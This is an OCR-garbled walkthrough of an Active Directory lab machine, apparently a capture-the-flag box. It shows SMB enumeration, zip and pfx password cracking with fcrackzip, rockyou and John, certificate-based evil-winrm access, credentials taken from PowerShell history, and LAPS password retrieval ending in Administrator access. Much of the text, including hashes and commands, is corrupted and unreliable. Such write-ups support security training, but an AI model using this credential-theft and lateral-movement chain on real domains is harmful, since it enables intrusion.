Active Directory Machine Walkthrough

Bouhzam Anass

Nmap Scan :

ker € e
msIrpc icrc f indc RP

netbios- c i netbios-ssn

ldap ows Act Direc y LDAP (Domain: time

microsoft-ds?
kpasswds?
HTTP 1.0

ormed. Please i iy Lt a submit

1 IP address (1 host up)

SMB

rename

ADMINS

Disk
Disk
Disk Logon Server
F workgroup
ction o 18.18.11.15 (Error NT_
\ ilable

E_NAME_NOT_FOUND )

le.1@.11.1
ord for [WO ROUPY,
help” to get a commands .

1s

Mon O
59716 blocks
(5] Mon O

59716 blo

KiloBytes/s




Here we found an interesting file lets check It

L

winrm backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:

skipping: legacyy_dev_auth.pfx incorrect password

L

winrm backup.zip rockyou.txt

PASSWORD FOUND!!!!: pw = supremelegacy

Y

winrm backup.zip

Archive: winrm_backup.zip

[winrm_backup.zip] legacyy_dev_auth.pfx password:

replace legacyy_dev_auth.pfx? [yles, [n]o, [A]Jll, [N]lone, [rlename: y
inflating: legacyy_dev_auth.pfx

we tried to crack the zip file using fcrackzip

now lets Convert this pfx file to John compatible hash using pfx2john

2 legacyy dev auth.pfx
legacyy_dev_auth.pfx:$pfxng$1$20$2000$20$eb755568327396de179c4a5d668badfe550ae18a$3082099c3082060f06092a864886f70d010701a08206000482
05fc308205f8308205f4060b2a864886170d010c0a0102a08204fe308204Fa301c060a2a864886170d010c010330020408540823852b96a898020207d0048204d8 e
bcd5536b4b831d491dabd53ca889d95f094572dak8eedlakalscd88bbf f72924328212c0ff047b42d0b7062b3c6191bc2c23713f986d1febf6d9e1829cd6663d267
7btaf8c7a25f7360927c498163168a2543fd722188558e8016F59819657759c27000d365a302da2ledastb73121dccbeede6d533b0ef@873a99b92cc7F824d029385F
a8b6859950912cd@a257fa55f150c2135f2850832b3229033F25521809e70010Fabs8868bb7d5bef7c20408dac3f67e367F4c3e3b81a555cdfe9e89c7betstd6996T40
1f9a26e43094b6fa418a76d5b57579eeb534627a27Fd46350a624b139d9f f4bl24c9afbbbes2870026098bbc7d38b6b543abbeff3cf2972c87dd2c0e703ef2201200
62297279661b67ca596a650efde28e098c82fced1f50611e28d4a6d5d75af8bf965c07faah8331b9f66733deb32ee3628b156ee0ef8e63b732e3606F3chC9453b49d
15592648cd918deaf72889f3e0bcf42bfdb9cddae7e?7c5934579d658bfea78800013f36de7e7 fadd2foff96e78dedaba®593947f96980fad67e17470b49307b5199
248fbad36a0dees42e480b30785810a4c17cc27bBefed3a99ddecd720a968f3cchbffb36752febbbras37ecacd6cd3cbef2ff6277ded1545a482daf34d1faf38819737
b7e4ef61004c2876715123fd0b8asf6c@3eb387fd50eaafs977870a6c011c91F1c9093dc2aale2c72c@a5e1473ef89429b02ablefbf@9b@96efechb5dbe772d8eb2e
32e72aa288749d6fdbfob207592f32%ad16676d9f0abalfb2f180f7b715b6c2238a42c13bP0OF8dc26c41ababbca74bB4ba2294FF473a0F16c85ac72072981968F8b
868885655f50ea81f06e5e65d260853e537e18268add9046631F9a6d0233d171F900b34cfOc63d299eb67d7a8ebfcfbf88395de5c7fd5bd1085d20cc56b3cagsTesf
21fba58215ff91bed70e5f629c9257baass48f29fab2efbo170f8c51e680ddesd6d2eebaabP2b24444f43ccfb6BTefat6f378539664c6309F51d82F67347fc689e855
966069099deadsf19adadcf9chald2c42401846ebad28bffad6f7336df 1eaP91844F2074e976a5d2eb83db0646Tb43b3faad564ac577781F29de95b7b21b6caf7fod
e6d2d56150de@98faf9a684b2a79083b3555455272874e9c427e1b1349b94cPbaf73eeedB8832274df7cbac23b68f66cb86bal561e1bb83bPe920b4568371c89c2a80
ed63308a4d9ce2el12d74de3f83fe5d93ab3aadd65a8821814F9981e20cdb86615d04ef9d45c30d692ad058212b33a0cB966414b3840a77af33b2fe85791a1604922a
9458cb584903515470d57607ce412e0699c883ddd40ad4983f9e6164879a19fc554781823782c89b47c3bf36a6ebsd33194753e85cb13e112a3e9fce98b72565961d
1bace71a8086657bce391bdb2a5e4b8025b06984fbb2da341034e9750b33ef2aldccddde7b867084Faf8264a4379c17dfad736a382fa7510e674ca7fefbabllcch43
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a09dc@aa7457d7dedd@4cb747b286cTaade2edbd4e0567e9e1be55d3789fcfR1773f7f06b6adf88fb1f579d564ce604cdc8299e074726d06a%ae370ded9cs2a680ca
39eb9298ce9293bef335263848e6dc4686a6dd59b9f6952e308c6cb7606459c3aalcebaechl75dd5ab65f758764ae4d68Ffb929acldfcof8cblaae26343c36e19f1d
78def222a0760c8860a72ac1dd5a232b1b65162ceale52b9549a%af4ebd918fe79fbfb34846b6a403115301306092a864886F70d0109153106040401000000$86099
€245b@3465a6ce@c974055e6dcc74TBe893: 11t legacyy_dev_auth.pfx




than trying to crack it with the correct format

first :S pfx2john legacyy_dev_auth.pfx >pfx_timelapse.hash

input encoding
rd hash (pf
tion count) is
pe [1:SHA1 3 HAZ 256:SHA256

run 4 OpenMP thr
] to

-show" option
ssion completed.

The funny parts start now :
using the pfx file lets try to export the certificate and the key file :

Exporting private key :
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Here you should copy from —-Begin PRIVATE KEY to —END private in a file lets call it legacy.key




Exporting the certificate :

pkcsl2 - legacyy dev auth.
Enter Import Password:

@1 00 2@ 00

ANBgkqhkiGO9wBBAQS FADAS
MRAwWDgY ( AAMZWdhY3L5MBAXDTIxMTAYNTEOMDUIMLoXDTMxMTAYNTEBMTUL
MlDWEjEDhA4’A1UEAwwHTu¥n1WNSeTFF"[mDDI1’ ZIhvcNAQEBBOADggEPADCC
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odGIwHOYDVROOBBYEFMz ZDuSvIJow

v TnEhmEquth' phTmquJ]h[StAG
hgbdWbn21 3V NHZK5NaP+5Kawd/ J+MseriYaPDbh
nx143vIioHYMiGCnKsHAWIMrGZUWLOoeUrlUmpr@6a2ky /nn7+zSEa2pA

END CERTIFICATE

same for the certificate lets call it legacy.cert




Now using evil-winrm

10.18.11.1

iue to ruby limitation: quotir ) function is unimplemented on this machine

L

uments> hostname

ring) [1, RemoteException

et Enabled

Length Name

Admini

we re connected as legacy now

For the twist plot as you Il be familiar with active directory ,| thought of checking the history file

path using env variable :

Name

ConsoleHost_histo
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Now we can find credentials for svc_deploy in this history file which is used for PS-Remoting,

checking the file and trying to execute the commands on the file

ationCh

Passing commands via PS-Remoting:

Some of Lateral MovementPermalink and Checking for LAPS password using AD-Module,

AdmPwd, m ationTime}

ame

xpirationTime

ame

rPrincipalan

We can see that the local Administrator password




now Lets use evil-winrm to PS-Remote with this credential

10.10.11.152

pletions is dis E ruby limitation: quoting_detection_proc() function is unimplemented on this machine

dministr

now we're Administrator

The End




